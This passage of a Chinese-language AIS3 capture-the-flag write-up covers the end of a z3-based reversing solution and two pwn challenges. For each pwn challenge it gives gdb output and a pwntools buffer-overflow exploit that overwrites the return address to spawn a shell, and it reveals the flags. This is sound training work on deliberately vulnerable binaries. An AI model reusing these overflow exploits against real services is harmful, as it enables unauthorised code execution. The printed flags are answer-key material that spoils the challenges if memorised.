s.add(x[116]+x[151]==183)
s.add(x[209]+x[305]==267)
s.add(x[57]+x[308]==305)
s.add(x[119]+x[136]==358)
s.add(x[14]+x[251]==319)
s.add(x[47]+x[297]==285)
s.add(x[216]+x[243]==118)
s.add(x[130]+x[165]==194)
s.add(x[168]+x[296]==395)
s.add(x[92]+x[303]==312)
s.add(x[158]+x[204]==263)
s.add(x[46]+x[135]==293)
s.add(x[45]+x[276]==361)
s.add(x[101]+x[235]==392)
s.add(x[16]+x[187]==77)
s.add(x[201]+x[316]==440)
s.add(x[90]+x[292]==445)
s.add(x[36]+x[42]==204)
s.add(x[21]+x[123]==183)
s.add(x[134]+x[319]==247)
s.add(x[216]+x[232]==125)
s.add(x[77]+x[224]==268)
s.add(x[84]+x[287]==481)
s.add(x[53]+x[178]==423)
s.add(x[60]+x[250]==283)
s.add(x[106]+x[247]==392)
s.add(x[163]+x[277]==253)
s.add(x[155]+x[213]==371)
s.add(x[37]+x[44]==295)
s.add(x[192]+x[231]==155)
s.add(x[110]+x[171]==270)
s.add(x[17]+x[204]==262)
s.add(x[20]+x[212]==372)
s.add(x[271]+x[325]==113)
s.add(x[40]+x[188]==157)
s.add(x[262]+x[275]==280)
s.add(x[136]+x[312]==338)
s.add(x[68]+x[311]==177)
s.add(x[137]+x[279]==38)
s.add(x[24]+x[304]==265)
s.add(x[9]+x[125]==375)
s.add(x[113]+x[172]==62)
s.add(x[28]+x[217]==414)
s.add(x[268]+x[288]==241)
s.add(x[8]+x[19]==236)
s.add(x[94]+x[157]==252)
s.add(x[58]+x[133]==140)
s.add(x[49]+x[223]==226)
s.add(x[84]+x[253]==336)
s.add(x[3]+x[98]==26)
s.add(x[160]+x[187]==224)
s.add(x[96]+x[206]==236)
s.add(x[249]+x[327]==259)
s.add(x[88]+x[95]==255)
s.add(x[67]+x[161]==354)
s.add(x[278]+x[326]==185)
s.add(x[157]+x[163]==289)
s.add(x[287]+x[329]==361)
s.add(x[140]+x[276]==457)
s.add(x[121]+x[184]==31)
s.add(x[11]+x[182]==153)
s.add(x[69]+x[121]==61)
s.add(x[148]+x[284]==66)
s.add(x[2]+x[310]==141)
s.add(x[49]+x[210]==147)
s.add(x[272]+x[320]==250)
s.add(x[107]+x[193]==401)
s.add(x[107]+x[172]==206)
s.add(x[164]+x[282]==192)
s.add(x[113]+x[140]==276)
s.add(x[21]+x[27]==324)
s.add(x[108]+x[274]==326)
s.add(x[151]+x[255]==214)
s.add(x[68]+x[273]==274)
s.add(x[83]+x[259]==141)
s.add(x[259]+x[312]==146)
s.add(x[0]+x[79]==405)
s.add(x[144]+x[170]==206)
s.add(x[34]+x[169]==282)
s.add(x[69]+x[282]==178)
s.add(x[298]+x[323]==50)
flag= [0*333]
print(s.check())
m = s.model()
for i in m:
print(i,end=' ')
print(m[i])
```
解出來之後把它們依照index重新排列並且放到ans.txt裡面,送回`flag-decryptor.py`就能夠拿到flag了。
```cpp
// rearrange
#include<bits/stdc++.h>
#include<stdint.h>
#define IOS ios::sync_with_stdio(false);cin.tie(0);cout.tie(0);
using namespace std;
int ind[335]={283,314,286,277,294,295,329,285,233,202,235,243,207,332,247,238,229,225,179,257,293,269,324,100,255,246,323,301,307,183,245,318,331,218,275,288,322,261,219,289,317,266,321,259,140,157,113,172,107,68,312,163,84,287,21,187,276,216,136,42,44,76,118,160,123,311,133,64,26,43,18,40,139,119,77,101,274,188,217,28,244,125,292,32,224,305,273,47,214,92,95,155,132,328,313,319,90,267,176,248,6,253,105,206,173,102,262,190,296,168,33,242,325,271,45,171,249,310,19,167,79,197,177,120,284,148,12,78,327,193,196,85,215,127,144,170,212,22,108,81,99,96,152,29,88,93,110,9,82,221,2,182,11,10,185,31,232,236,222,91,278,256,124,130,165,290,16,25,137,279,134,231,315,189,330,36,205,192,142,252,213,264,198,200,251,14,150,94,115,166,298,86,135,46,145,241,13,15,59,158,204,111,180,30,38,228,89,210,49,223,17,117,128,131,309,153,164,282,69,121,184,83,308,57,237,297,5,226,230,4,54,75,320,272,270,300,52,263,156,8,80,162,195,51,61,220,209,146,281,302,56,109,154,280,114,138,208,35,265,1,227,63,20,112,291,316,201,159,326,71,72,58,240,97,203,250,60,62,161,67,27,55,191,126,169,34,122,186,0,23,50,239,87,73,147,175,199,306,66,74,98,3,65,7,299,37,141,149,303,103,178,53,116,151,211,48,304,24,143,104,254,234,260,174,70,129,181,268,39,194,258,41,106};
int val[335]={152,180,108,4,136,62,123,238,187,182,200,38,214,221,205,82,12,40,156,81,21,14,132,205,77,13,33,165,157,235,44,113,199,93,83,115,92,160,95,34,50,164,67,12,215,40,61,1,205,169,134,249,243,238,113,61,242,80,204,157,237,1,210,163,70,8,124,131,107,220,2,111,9,154,186,192,189,46,205,209,246,160,199,175,82,195,105,43,0,134,153,220,184,21,156,187,246,232,94,172,175,93,189,160,20,155,197,251,241,154,172,247,1,112,119,207,105,127,72,245,163,135,132,31,58,8,236,239,154,196,177,61,167,61,110,96,250,159,137,10,174,76,235,206,102,29,63,215,55,52,14,36,117,134,185,14,45,22,27,222,84,237,164,19,175,91,16,176,31,7,60,24,74,89,36,47,103,131,21,13,151,49,47,12,110,209,37,212,46,247,17,224,110,183,68,231,67,186,119,235,28,214,106,48,91,249,206,0,147,79,234,112,156,145,102,101,56,136,42,19,12,129,107,198,105,242,30,25,12,23,102,16,157,93,130,101,44,235,91,164,133,33,59,75,164,71,72,177,191,231,142,253,117,194,134,203,185,200,114,10,147,111,122,65,208,208,232,21,101,18,42,16,40,192,73,156,127,154,117,237,211,209,221,188,238,44,60,117,242,178,111,107,174,196,33,141,42,190,73,239,9,17,249,80,97,58,235,156,178,49,218,205,46,137,76,106,31,234,233,229,173,111,217,192,242,43,68,126,243,157,36,54,187};
int f[335]={0};
int32_t main(){
IOS
for(int i=0;i<333;i++){
f[ind[i]]=val[i];
}
for(int i=0;i<333;i++){
cout<<f[i]<<endl;
}
return 0;
}
// ans.txt
```
```
$ python3 flag-decryptor.py
Welcome to the flag decryptor! (。・ω・。)ノ♡
Please make a file to store your all answers (in integers).
Make sure there is not endline at the end.
The file is has to follow the format below:
<answer[0]>
<answer[1]>
<answer[2]>
...
<answer[N]>
Here is an example that satisfies the format:
251
5
2
3
...
63
Please enter the file path of answer: ans.txt
[*] Derived Key (May not able to decrypt): 5d3242c61ffecc64bfc37f255b827ef239b6dc7c5b030458be40a1979cba2bf1
[+] Congrats (*´・∀・*)! Here is your flag: AIS3{OuO_Hope_th1s_ch4l1eng3_gIve_y0u_viv1d_em0Tions!_(ฅ^・ω・^ ฅ)}!
```
FLAG: `AIS3{OuO_Hope_th1s_ch4l1eng3_gIve_y0u_viv1d_em0Tions!_(ฅ^・ω・^ ฅ)}`
# Pwn
## Simply Pwn [356]
{% note default flat %}
The simplest pwn
`nc chals1.ais3.org 11111`
{% endnote %}
> file: https://drive.google.com/file/d/1XQctYAM-Ul1LKooX8ofRM51pX6P1vIQI/view?usp=sharing

這題很明顯是buffer overflow,因為`read`的bytes數量(256 bytes)超過了儲存量,且有一個`shellcode function`可以執行`/bin/sh`,所以要讓`rsp`指向他讓他跳上去。把elf跑起來之後發現過了67個bytes之後會出現一個亂碼,表示最多的儲存陣列就到67 bytes,所以接下來再蓋12 bytes把`old rbp`蓋掉就可以跳到`shellcode`上面了,所以一共要蓋$67+12=79$ bytes。直接寫exploit就可以拿到shell。
```
$ ./pwn
Show me your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Welcome, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
```
```python
from pwn import *
r=remote('chals1.ais3.org',11111)
s=0x4017a5
r.recvuntil(b': ')
r.sendline(b'A'*79+p64(s))
r.interactive()
```
FLAG: `AIS3{5imP1e_Pwn_4_beGinn3rs!}`
## ManagementSystem [443]
{% note default flat %}
這個系統,看起來好像有點問題...。請利用你的技能和知識,找到漏洞並利用它們吧!
flag format : `FLAG{xxx}`
Author : Richard ( dogxxx)
`nc chals1.ais3.org 10003`
{% endnote %}
> file: https://drive.google.com/file/d/1mnng4xunujuw5jCK1udhEmD5fTFkdbdi/view?usp=sharing
這題其實跟第一題很像,可以發現在`delete`的function裡面出現了一個`gets()`誤用的buffer overflow,也有`secret_function`可以開shell,不過這個`delete` function要在database裡存在`user`時才能使用,因此前面要先註冊一個`user`,接下來才繼續執行`delete` function。
```c
User *delete_user(User *head) {
printf("Enter the index of the user you want to delete: ");
char buffer[64];
gets(buffer);
int user_index;
sscanf(buffer, "%d", &user_index);
if (user_index <= 0) {
printf("Invalid index.\n");
return head;
}
if (user_index == 1) {
User *user_to_delete = head;
head = head->next;
free(user_to_delete);
return head;
}
User *previous = head;
User *current = head->next;
int count = 2;
while (current != NULL) {
if (count == user_index) {
previous->next = current->next;
free(current);
return head;
}
previous = current;
current = current->next;
count++;
}
printf("User not found.\n");
return head;
}
```
而`sscanf`會將buffer裡面的數字部分存到`user_index`,為了要執行到`ret`,因此我們要先給定一個假數字後接上空白,之後再接上payload,這樣可以讓`user_index`的檢查正常執行,最終跳到`secret_function`上面。
至於要蓋掉多少,可以用gdb來看看。用gef `pattern create`之後,根據前面的指示,最後在delete user的地方塞入`b'123 '`+pattern,可以發現`rsp`指向了`aaaanaaaaaaaoaaaaaaa`,gef顯示`pattern search`的offset是100,所以要塞入的pattern量就是100 bytes,直接寫個exploit就可以拿到shell了。
```
gef➤
Enter the index of the user you want to delete: 123 aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaa
User not found.
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401660 in delete_user ()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x000000004052a0 → 0x00000000333231 ("123"?)
$rbx : 0x000000004017b0 → <__libc_csu_init+0> endbr64
$rcx : 0x007ffff7ed1077 → 0x5177fffff0003d48 ("H="?)
$rdx : 0x0
$rsp : 0x007fffffffe058 → "aaaanaaaaaaaoaaaaaaa"
$rbp : 0x6161616d61616161 ("aaaamaaa"?)
$rsi : 0x007ffff7fb0723 → 0xfb17e0000000000a ("\n"?)
$rdi : 0x007ffff7fb17e0 → 0x0000000000000000
$rip : 0x00000000401660 → <delete_user+271> ret
$r8 : 0x10
$r9 : 0x0
$r10 : 0x007ffff7f5eac0 → 0x0000000100000000
$r11 : 0x246
$r12 : 0x000000004011d0 → <_start+0> endbr64
$r13 : 0x007fffffffe170 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffe058│+0x0000: "aaaanaaaaaaaoaaaaaaa" ← $rsp
0x007fffffffe060│+0x0008: "aaaaoaaaaaaa"
0x007fffffffe068│+0x0010: 0x00000061616161 ("aaaa"?)
0x007fffffffe070│+0x0018: 0x007fffffffe170 → 0x0000000000000001
0x007fffffffe078│+0x0020: 0x000000004052a0 → 0x00000000333231 ("123"?)
0x007fffffffe080│+0x0028: 0x0000000000000000
0x007fffffffe088│+0x0030: 0x007ffff7de7083 → <__libc_start_main+243> mov edi, eax
0x007fffffffe090│+0x0038: 0x007ffff7ffc620 → 0x00050a6600000000
───────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x401656 <delete_user+261> call 0x401110 <puts@plt>
0x40165b <delete_user+266> mov rax, QWORD PTR [rbp-0x78]
0x40165f <delete_user+270> leave
→ 0x401660 <delete_user+271> ret
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ms", stopped 0x401660 in delete_user (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401660 → delete_user()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ pattern search aaaanaaaaaaaoaaaaaaa
[+] Searching for 'aaaanaaaaaaaoaaaaaaa'
[+] Found at offset 100 (big-endian search)
```
```python
from pwn import *
r=remote('chals1.ais3.org',10003)
s=0x40131b
r.recvuntil(b'> ')
r.sendline(b'1')
r.recvuntil(b': ')
r.sendline(b'123')
r.recvuntil(b': ')
r.sendline(b'123')
r.recvuntil(b': ')
r.sendline(b'123')
r.sendline(b'3')
r.recvuntil(b': ')
r.sendline(b'100 '+b'A'*100+p64(s))
r.interactive()
```
FLAG: `FLAG{C0n6r47ul4710n5_0n_cr4ck1n6_7h15_pr09r4m_!!_!!_!}`
###### tags: `hexo`